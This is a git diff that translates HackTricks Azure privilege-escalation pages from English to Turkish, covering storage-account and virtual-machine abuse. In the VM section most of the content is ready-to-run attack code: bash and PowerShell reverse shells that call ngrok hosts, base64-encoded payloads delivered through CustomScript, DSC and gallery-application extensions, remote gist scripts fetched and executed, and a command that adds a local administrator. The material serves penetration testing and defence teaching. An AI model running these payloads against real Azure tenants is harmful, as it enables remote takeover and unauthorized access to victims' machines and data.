both - +> Bir değiştirilemezlik politikası kilit durumundaysa, her ikisini de yapamazsınız. ```bash az storage container immutability-policy delete \ - --account-name \ - --container-name \ - --resource-group +--account-name \ +--container-name \ +--resource-group az storage container immutability-policy update \ - --account-name \ - --container-name \ - --resource-group \ - --period +--account-name \ +--container-name \ +--resource-group \ +--period ``` - -## File shares specific privesc +## Dosya paylaşımlarına özgü privesc ### Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action -This should allow a user having this permission to be able to take the ownership of files inside the shared filesystem. +Bu, bu izne sahip bir kullanıcının paylaşılan dosya sistemindeki dosyaların sahipliğini alabilmesini sağlamalıdır. ### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action -This should allow a user having this permission to be able to modify the permissions files inside the shared filesystem. +Bu, bu izne sahip bir kullanıcının paylaşılan dosya sistemindeki dosyaların izinlerini değiştirebilmesini sağlamalıdır. ### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action -This should allow a user having this permission to be able to perform actions inside a file system as a superuser. +Bu, bu izne sahip bir kullanıcının bir dosya sisteminde süper kullanıcı olarak eylemler gerçekleştirebilmesini sağlamalıdır. ### Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read) -With this permission, an attacker can create and update (if has `Microsoft.Storage/storageAccounts/localusers/read` permission) a new local user for an Azure Storage account (configured with hierarchical namespace), including specifying the user’s permissions and home directory. This permission is significant because it allows the attacker to grant themselves to a storage account with specific permissions such as read (r), write (w), delete (d), and list (l) and more. Additionaly the authentication methods that this uses can be Azure-generated passwords and SSH key pairs. There is no check if a user already exists, so you can overwrite other users that are already there. The attacker could escalate their privileges and gain SSH access to the storage account, potentially exposing or compromising sensitive data. - +Bu izinle, bir saldırgan, Azure Storage hesabı için yeni bir yerel kullanıcı oluşturabilir ve güncelleyebilir (eğer `Microsoft.Storage/storageAccounts/localusers/read` iznine sahipse), kullanıcının izinlerini ve ana dizinini belirleyebilir. Bu izin önemlidir çünkü saldırgana, okuma (r), yazma (w), silme (d) ve listeleme (l) gibi belirli izinlere sahip bir depolama hesabına kendisini atama yetkisi verir. Ayrıca, bunun kullandığı kimlik doğrulama yöntemleri Azure tarafından üretilen şifreler ve SSH anahtar çiftleri olabilir. Zaten var olan bir kullanıcının kontrolü yapılmaz, bu nedenle mevcut diğer kullanıcıların üzerine yazabilirsiniz. Saldırgan, ayrıcalıklarını artırabilir ve depolama hesabına SSH erişimi kazanarak hassas verileri açığa çıkarabilir veya tehlikeye atabilir. ```bash az storage account local-user create \ - --account-name \ - --resource-group \ - --name \ - --permission-scope permissions=rwdl service=blob resource-name= \ - --home-directory \ - --has-ssh-key false/true # Depends on the auth method to use +--account-name \ +--resource-group \ +--name \ +--permission-scope permissions=rwdl service=blob resource-name= \ +--home-directory \ +--has-ssh-key false/true # Depends on the auth method to use ``` - ### Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action -With this permission, an attacker can regenerate the password for a local user in an Azure Storage account. This grants the attacker the ability to obtain new authentication credentials (such as an SSH or SFTP password) for the user. By leveraging these credentials, the attacker could gain unauthorized access to the storage account, perform file transfers, or manipulate data within the storage containers. This could result in data leakage, corruption, or malicious modification of the storage account content. - +Bu izinle, bir saldırgan Azure Storage hesabındaki yerel bir kullanıcı için şifreyi yeniden oluşturabilir. Bu, saldırgana kullanıcı için yeni kimlik doğrulama bilgileri (örneğin, bir SSH veya SFTP şifresi) elde etme yetkisi verir. Bu kimlik bilgilerini kullanarak, saldırgan depolama hesabına yetkisiz erişim sağlayabilir, dosya transferleri gerçekleştirebilir veya depolama konteynerleri içindeki verileri manipüle edebilir. Bu, veri sızıntısına, bozulmaya veya depolama hesabı içeriğinin kötü niyetli bir şekilde değiştirilmesine yol açabilir. ```bash az storage account local-user regenerate-password \ - --account-name \ - --resource-group \ - --name +--account-name \ +--resource-group \ +--name ``` - -To access Azure Blob Storage via SFTP using a local user via SFTP you can (you can also use ssh key to connect): - +Azure Blob Storage'a yerel bir kullanıcı aracılığıyla SFTP ile erişmek için (bağlanmak için ssh anahtarı da kullanabilirsiniz): ```bash sftp @.blob.core.windows.net #regenerated-password ``` - ### Microsoft.Storage/storageAccounts/restoreBlobRanges/action, Microsoft.Storage/storageAccounts/blobServices/containers/read, Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action -With this permissions an attacker can restore a deleted container by specifying its deleted version ID or undelete specific blobs within a container, if they were previously soft-deleted. This privilege escalation could allow an attacker to recover sensitive data that was meant to be permanently deleted, potentially leading to unauthorized access. - +Bu izinlerle bir saldırgan, silinmiş bir konteyneri silinmiş sürüm kimliğini belirterek geri yükleyebilir veya daha önce yumuşak silinmişse bir konteyner içindeki belirli blob'ları geri alabilir. Bu ayrıcalık yükselmesi, bir saldırgana kalıcı olarak silinmesi gereken hassas verileri kurtarma imkanı verebilir ve bu da yetkisiz erişime yol açabilir. ```bash #Restore the soft deleted container az storage container restore \ - --account-name \ - --name \ - --deleted-version +--account-name \ +--name \ +--deleted-version #Restore the soft deleted blob az storage blob undelete \ - --account-name \ - --container-name \ - --name "fileName.txt" +--account-name \ +--container-name \ +--name "fileName.txt" ``` - ### Microsoft.Storage/storageAccounts/fileServices/shares/restore/action && Microsoft.Storage/storageAccounts/read -With these permissions, an attacker can restore a deleted Azure file share by specifying its deleted version ID. This privilege escalation could allow an attacker to recover sensitive data that was meant to be permanently deleted, potentially leading to unauthorized access. - +Bu izinlerle, bir saldırgan silinmiş bir Azure dosya paylaşımını silinmiş sürüm kimliğini belirterek geri yükleyebilir. Bu ayrıcalık yükselmesi, bir saldırganın kalıcı olarak silinmesi gereken hassas verilere erişimini sağlayabilir ve bu da yetkisiz erişime yol açabilir. ```bash az storage share-rm restore \ - --storage-account \ - --name \ - --deleted-version +--storage-account \ +--name \ +--deleted-version ``` +## Diğer ilginç görünen izinler (TODO) -## Other interesting looking permissions (TODO) - -- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: Changes ownership of the blob -- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action: Modifies permissions of the blob -- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/runAsSuperUser/action: Returns the result of the blob command +- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: Blob'un sahipliğini değiştirir +- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action: Blob'un izinlerini değiştirir +- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/runAsSuperUser/action: Blob komutunun sonucunu döndürür - Microsoft.Storage/storageAccounts/blobServices/containers/blobs/immutableStorage/runAsSuperUser/action -## References +## Referanslar - [https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage) - [https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support](https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md index 6d8ba6e74..65a27e205 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md @@ -1,10 +1,10 @@ -# Az - Virtual Machines & Network Privesc +# Az - Sanal Makineler & Ağ Privesc {{#include ../../../banners/hacktricks-training.md}} -## VMS & Network +## VMS & Ağ -For more info about Azure Virtual Machines and Network check: +Azure Sanal Makineler ve Ağ hakkında daha fazla bilgi için kontrol edin: {{#ref}} ../az-services/vms/ @@ -12,14 +12,13 @@ For more info about Azure Virtual Machines and Network check: ### **`Microsoft.Compute/virtualMachines/extensions/write`** -This permission allows to execute extensions in virtual machines which allow to **execute arbitrary code on them**.\ -Example abusing custom extensions to execute arbitrary commands in a VM: +Bu izin, sanal makinelerde uzantıları çalıştırmaya olanak tanır ve bu da **onlarda rastgele kod çalıştırmayı** sağlar.\ +Bir VM'de rastgele komutlar çalıştırmak için özel uzantıların kötüye kullanılması örneği: {{#tabs }} {{#tab name="Linux" }} -- Execute a revers shell - +- Bir ters kabuk çalıştırın ```bash # Prepare the rev shell echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64 @@ -27,120 +26,108 @@ YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== # Execute rev shell az vm extension set \ - --resource-group \ - --vm-name \ - --name CustomScript \ - --publisher Microsoft.Azure.Extensions \ - --version 2.1 \ - --settings '{}' \ - --protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}' +--resource-group \ +--vm-name \ +--name CustomScript \ +--publisher Microsoft.Azure.Extensions \ +--version 2.1 \ +--settings '{}' \ +--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}' ``` - -- Execute a script located on the internet - +- İnternette bulunan bir scripti çalıştırın ```bash az vm extension set \ - --resource-group rsc-group> \ - --vm-name \ - --name CustomScript \ - --publisher Microsoft.Azure.Extensions \ - --version 2.1 \ - --settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \ - --protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}' +--resource-group rsc-group> \ +--vm-name \ +--name CustomScript \ +--publisher Microsoft.Azure.Extensions \ +--version 2.1 \ +--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \ +--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}' ``` - {{#endtab }} {{#tab name="Windows" }} -- Execute a reverse shell - +- Ters bir shell çalıştırın ```bash # Get encoded reverse shell echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64 # Execute it az vm extension set \ - --resource-group \ - --vm-name \ - --name CustomScriptExtension \ - --publisher Microsoft.Compute \ - --version 1.10 \ - --settings '{}' \ - --protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}' +--resource-group \ +--vm-name \ +--name CustomScriptExtension \ +--publisher Microsoft.Compute \ +--version 1.10 \ +--settings '{}' \ +--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}' ``` - -- Execute reverse shell from file - +- Dosyadan ters kabuk çalıştırın ```bash az vm extension set \ - --resource-group \ - --vm-name \ - --name CustomScriptExtension \ - --publisher Microsoft.Compute \ - --version 1.10 \ - --settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \ - --protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}' +--resource-group \ +--vm-name \ +--name CustomScriptExtension \ +--publisher Microsoft.Compute \ +--version 1.10 \ +--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \ +--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}' ``` +Ayrıca şu diğer yükleri de çalıştırabilirsiniz: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` -You could also execute other payloads like: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` - -- Reset password using the VMAccess extension - +- VMAccess uzantısını kullanarak şifreyi sıfırlama ```powershell # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Name "myVMAccess" -Credential $cred ``` - {{#endtab }} {{#endtabs }} -It's also possible to abuse well-known extensions to execute code or perform privileged actions inside the VMs: +Aynı zamanda, VMs içinde kod çalıştırmak veya ayrıcalıklı eylemler gerçekleştirmek için iyi bilinen uzantıların kötüye kullanılması da mümkündür:
-VMAccess extension - -This extension allows to modify the password (or create if it doesn't exist) of users inside Windows VMs. +VMAccess uzantısı +Bu uzantı, Windows VMs içindeki kullanıcıların şifresini değiştirmeye (veya yoksa oluşturmasına) olanak tanır. ```powershell # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Name "myVMAccess" -Credential $cred ``` -
DesiredConfigurationState (DSC) -This is a **VM extensio**n that belongs to Microsoft that uses PowerShell DSC to manage the configuration of Azure Windows VMs. Therefore, it can be used to **execute arbitrary commands** in Windows VMs through this extension: - +Bu, Azure Windows VM'lerinin yapılandırmasını yönetmek için PowerShell DSC kullanan Microsoft'a ait bir **VM uzantısı**dır. Bu nedenle, bu uzantı aracılığıyla Windows VM'lerinde **rastgele komutlar çalıştırmak** için kullanılabilir: ```powershell # Content of revShell.ps1 Configuration RevShellConfig { - Node localhost { - Script ReverseShell { - GetScript = { @{} } - SetScript = { - $client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port); - $stream = $client.GetStream(); - [byte[]]$bytes = 0..65535|%{0}; - while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ - $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i); - $sendback = (iex $data 2>&1 | Out-String ); - $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; - $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); - $stream.Write($sendbyte, 0, $sendbyte.Length) - } - $client.Close() - } - TestScript = { return $false } - } - } +Node localhost { +Script ReverseShell { +GetScript = { @{} } +SetScript = { +$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port); +$stream = $client.GetStream(); +[byte[]]$bytes = 0..65535|%{0}; +while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ +$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i); +$sendback = (iex $data 2>&1 | Out-String ); +$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; +$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); +$stream.Write($sendbyte, 0, $sendbyte.Length) +} +$client.Close() +} +TestScript = { return $false } +} +} } RevShellConfig -OutputPath .\Output @@ -148,95 +135,91 @@ RevShellConfig -OutputPath .\Output $resourceGroup = 'dscVmDemo' $storageName = 'demostorage' Publish-AzVMDscConfiguration ` - -ConfigurationPath .\revShell.ps1 ` - -ResourceGroupName $resourceGroup ` - -StorageAccountName $storageName ` - -Force +-ConfigurationPath .\revShell.ps1 ` +-ResourceGroupName $resourceGroup ` +-StorageAccountName $storageName ` +-Force # Apply DSC to VM and execute rev shell $vmName = 'myVM' Set-AzVMDscExtension ` - -Version '2.76' ` - -ResourceGroupName $resourceGroup ` - -VMName $vmName ` - -ArchiveStorageAccountName $storageName ` - -ArchiveBlobName 'revShell.ps1.zip' ` - -AutoUpdate ` - -ConfigurationName 'RevShellConfig' +-Version '2.76' ` +-ResourceGroupName $resourceGroup ` +-VMName $vmName ` +-ArchiveStorageAccountName $storageName ` +-ArchiveBlobName 'revShell.ps1.zip' ` +-AutoUpdate ` +-ConfigurationName 'RevShellConfig' ``` -
-Hybrid Runbook Worker +Hibrit Runbook Çalışanı -This is a VM extension that would allow to execute runbooks in VMs from an automation account. For more information check the [Automation Accounts service](../az-services/az-automation-account/). +Bu, otomasyon hesabından VM'lerde runbook'ları çalıştırmaya olanak tanıyan bir VM uzantısıdır. Daha fazla bilgi için [Otomasyon Hesapları hizmetine](../az-services/az-automation-account/) bakın.
### `Microsoft.Compute/disks/write, Microsoft.Network/networkInterfaces/join/action, Microsoft.Compute/virtualMachines/write, (Microsoft.Compute/galleries/applications/write, Microsoft.Compute/galleries/applications/versions/write)` -These are the required permissions to **create a new gallery application and execute it inside a VM**. Gallery applications can execute anything so an attacker could abuse this to compromise VM instances executing arbitrary commands. +Bunlar, **yeni bir galeri uygulaması oluşturmak ve bunu bir VM içinde çalıştırmak için gereken izinlerdir**. Galeri uygulamaları her şeyi çalıştırabilir, bu nedenle bir saldırgan, rastgele komutlar çalıştıran VM örneklerini tehlikeye atmak için bunu kötüye kullanabilir. -The last 2 permissions might be avoided by sharing the application with the tenant. +Son 2 izin, uygulamayı kiracı ile paylaşarak atlanabilir. -Exploitation example to execute arbitrary commands: +Rastgele komutları çalıştırmak için istismar örneği: {{#tabs }} {{#tab name="Linux" }} - ```bash # Create gallery (if the isn't any) az sig create --resource-group myResourceGroup \ - --gallery-name myGallery --location "West US 2" +--gallery-name myGallery --location "West US 2" # Create application container az sig gallery-application create \ - --application-name myReverseShellApp \ - --gallery-name myGallery \ - --resource-group \ - --os-type Linux \ - --location "West US 2" +--application-name myReverseShellApp \ +--gallery-name myGallery \ +--resource-group \ +--os-type Linux \ +--location "West US 2" # Create app version with the rev shell ## In Package file link just add any link to a blobl storage file az sig gallery-application version create \ - --version-name 1.0.2 \ - --application-name myReverseShellApp \ - --gallery-name myGallery \ - --location "West US 2" \ - --resource-group \ - --package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \ - --install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \ - --remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \ - --update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" +--version-name 1.0.2 \ +--application-name myReverseShellApp \ +--gallery-name myGallery \ +--location "West US 2" \ +--resource-group \ +--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \ +--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \ +--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \ +--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" # Install the app in a VM to execute the rev shell ## Use the ID given in the previous output az vm application set \ - --resource-group \ - --name \ - --app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \ - --treat-deployment-as-failure true +--resource-group \ +--name \ +--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \ +--treat-deployment-as-failure true ``` - {{#endtab }} {{#tab name="Windows" }} - ```bash # Create gallery (if the isn't any) az sig create --resource-group \ - --gallery-name myGallery --location "West US 2" +--gallery-name myGallery --location "West US 2" # Create application container az sig gallery-application create \ - --application-name myReverseShellAppWin \ - --gallery-name myGallery \ - --resource-group \ - --os-type Windows \ - --location "West US 2" +--application-name myReverseShellAppWin \ +--gallery-name myGallery \ +--resource-group \ +--os-type Windows \ +--location "West US 2" # Get encoded reverse shell echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64 @@ -245,59 +228,55 @@ echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",1 ## In Package file link just add any link to a blobl storage file export encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=" az sig gallery-application version create \ - --version-name 1.0.0 \ - --application-name myReverseShellAppWin \ - --gallery-name myGallery \ - --location "West US 2" \ - --resource-group \ - --package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \ - --install-command "powershell.exe -EncodedCommand $encodedCommand" \ - --remove-command "powershell.exe -EncodedCommand $encodedCommand" \ - --update-command "powershell.exe -EncodedCommand $encodedCommand" +--version-name 1.0.0 \ +--application-name 